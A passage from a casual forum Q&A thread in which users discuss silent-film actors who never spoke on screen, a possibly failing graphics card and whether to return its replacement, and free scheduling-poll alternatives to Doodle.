Why not just go with Harpo Marx?

Or Marcel Marceau?
Title: Re: Ask something - We can help.
Post by: lorenzo on Mon 31/08/2020 12:57:36
Quote from: Mandle on Mon 31/08/2020 05:56:38
Why not just go with Harpo Marx?
Harpo Marx wasn't a silent-era actor (he only did one silent film, I think) -- he was just a silent actor. ;)

Quote from: heltenjon on Mon 31/08/2020 12:31:03
Or Marcel Marceau?
He did speak in of the greatest gags from Mel Brooks' Silent Movie!
Spoiler
https://www.youtube.com/watch?v=IhhS13sk7eg
[close]
Title: Re: Ask something - We can help.
Post by: Laura Hunt on Mon 31/08/2020 14:05:42
Quote from: Stupot on Mon 31/08/2020 05:06:15
Google’s not helping.

Any silent era actors who never spoken on film? Most of the famous ones eventually acted in ‘talkies’ but I want to know if there is a well-known example of a silent era actor who’s voice was never recorded for film.

Rodolfo Valentino.
Title: Re: Ask something - We can help.
Post by: heltenjon on Mon 31/08/2020 14:21:07
Quote from: lorenzo on Mon 31/08/2020 12:57:36
Quote from: heltenjon on Mon 31/08/2020 12:31:03
Or Marcel Marceau?
He did speak in of the greatest gags from Mel Brooks' Silent Movie!

Agreed, that's the funniest part of that movie!  (laugh) And he talks in Barbarella. But he's most famous for pantomime and silence. (Otherwise the gag wouldn't work.)
Title: Re: Ask something - We can help.
Post by: Khris on Fri 16/10/2020 08:30:17
Got a dumb question for you guys (about graphics adapters and chance):

I bought a GTX 970 in 2015 and it has been a great investment ever since. However since mid-August or so I experienced intermittent BSODs, sometimes a minute after turning on the PC, sometimes during playing a recent AAA 3D game. Windows always came back with BCCode 116, which definitely points to the graphics card.
I also got extreme jerkiness occasionally in 3D heavy games, or one could see big black bars during the desktop refreshing.

Anyways, it was probably dying, so I ordered a 1660 Super on Monday. It came yesterday. And since Monday, my 970 has been working perfectly fine. No crashes, no jerkiness, no black bars, just doing a perfectly fine job. I did move my PC right before that, so maybe it wasn't 100% inside the PCI slot...? I dunno.

Do I

a) just replace my current one, because it didn't get magically fixed and will still die soon
b) keep the new one but don't replace the old one yet, forgoing my chance to return the 1660?
c) return the 1660 so I get back my â,¬225 and hope for the best?
d) all of the above?

Has somebody experienced something similar?
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Fri 16/10/2020 16:12:38
I would probably return it, if you can get all your money back.

If the 970 then dies again, then order a new one again. Since price for computer stuff keeps dropping and new better ones come out all the time, chances are that you either get the 1660 cheaper at a later occasion or buy a better card for the same price.  ;)
Title: Re: Ask something - We can help.
Post by: Khris on Sat 17/10/2020 09:49:40
Thanks Cassie, I guess you're right; I was just hoping to somehow avoid the hassle of returning it. Oh well :)
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Sat 17/10/2020 10:12:09
Well, you can always avoid it... but maybe it can get annoying having it sitting there and missing value while you have no use for it.
Title: Re: Ask something - We can help.
Post by: cat on Wed 26/04/2023 08:02:11
I'm looking for a Doodle alternative. There are many out there, but I'm looking for one that is free, without registration, easy to use and supports time zones. I recently tried the one from TU Dresden (https://dud-poll.inf.tu-dresden.de/) which is without ads and privacy friendly, but not so pretty.

Do you have any recommendations?
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 26/04/2023 23:22:28
@cat Have you tried https://strawpoll.com/? They look pretty straightforward and seem to allow for time zones.
Title: Re: Ask something - We can help.
Post by: cat on Thu 27/04/2023 13:22:19
Thanks, I'll take a look.
Title: Re: Ask something - We can help.
Post by: eri0o on Thu 27/04/2023 14:49:18
I usually use https://www.mentimeter.com/

But privacy friendly is not a thing there I think.
Title: Re: Ask something - We can help.
Post by: cat on Thu 27/04/2023 19:58:50
Mentimeter requires an account. Strawpoll requires an account if you want to have admin rights on your poll. In earlier doodle versions this was possible just with an admin link.

I'll try https://xoyondo.com (https://xoyondo.com) now.